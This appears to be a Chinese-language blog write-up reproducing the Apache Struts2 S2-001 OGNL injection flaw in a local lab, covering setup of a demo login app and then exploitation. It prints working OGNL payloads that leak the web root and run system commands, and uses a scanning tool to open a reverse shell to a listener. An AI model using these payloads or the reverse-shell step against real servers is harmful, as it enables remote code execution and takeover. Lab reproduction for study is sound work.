漏洞详情
https://cwiki.apache.org/confluence/display/WW/S2-001
由于OGNL表达式的递归执行,造成了命令执行。
环境搭建
Kali Linux
IntelliJ Idea 2020.3.2
Apache-Tomcat/9.0.43
Java Open JDK 8
先给IDEA装struts 2插件:
新建项目:
下载strust2 jar,解压提取lib内的jar。
https://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
1 2 3 4 5 6
| commons-logging-1.0.4.jar freemarker-2.3.4.jar ognl-2.6.7.jar struts2-api-2.0.1.jar struts2-core-2.0.1.jar xwork-2.0-beta-1.jar
|
在 WEB-INF
下创建 lib
目录,放入所需的jar包。
导入依赖包到项目中:
左键IDEA左上角,文件-项目结构-模块 添加依赖的jar,勾选然后确定。
src
下新建 com.demo.action
包,包下再新建 LoginAction
java类,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport { private String username = null; private String password = null;
public String getUsername() { return this.username; }
public String getPassword() { return this.password; }
public void setUsername(String username) { this.username = username; }
public void setPassword(String password) { this.password = password; }
public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error"; } if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) { return "success"; } return "error"; } }
|
src
目录下新建 struts.xml
,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts> <package name="S2-001" extends="struts-default"> <action name="login" class="com.demo.action.LoginAction"> <result name="success">welcome.jsp</result> <result name="error">index.jsp</result> </action> </package> </struts>
|
web
目录下新建 welcome.jsp
文件,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12
| <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html>
|
修改 index.jsp
文件内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <h2>S2-001 Demo</h2> <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https: </p> <s:form action="login"> <s:textfield name="username" label="username"/> <s:textfield name="password" label="password"/> <s:submit></s:submit> </s:form> </body> </html>
|
修改 web.xml
文件内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"> <display-name>S2-001 Example</display-name> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app>
|
运行/调试配置,配置好jdk/tomcat所在目录:
构建项目然后运行(可以选择D bug模式),访问web页面:
复现attack
验证,password输入%{6+6}
提交执行返回 12
,即表示OGNL表达式被执行,漏洞存在。
使用以下Payload执行下命令查看下web路径?
1
| %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
|
OWASP ZAP用不习惯,直接用 HackBar
吧:
1
| %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
|
使用工具
https://github.com/HatBoy/Struts2-Scan
1
| python3 Struts2Scan.py -u http://localhost:8080/S2_001_war_exploded/login.action -d "name=admin&password={exp}" -n "S02-001" --exec
|
漏洞存在,但不支持利用?
修改脚本1502行即可正常运行:
if name not in s2_list:
为 if name not in s2_dict:
反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13
| ┌──(kali㉿kali)-[~/Tools/Sturts2/Struts2-Scan] └─$ python3 Struts2Scan.py -u http://localhost:8080/S2_001_war_exploded/login.action -n S2-001 --reverse 192.168.176.1:8000
____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| Author By HatBoy [*] 请在反弹地址处监听端口如: nc -lvvp 8080
|
漏洞分析
略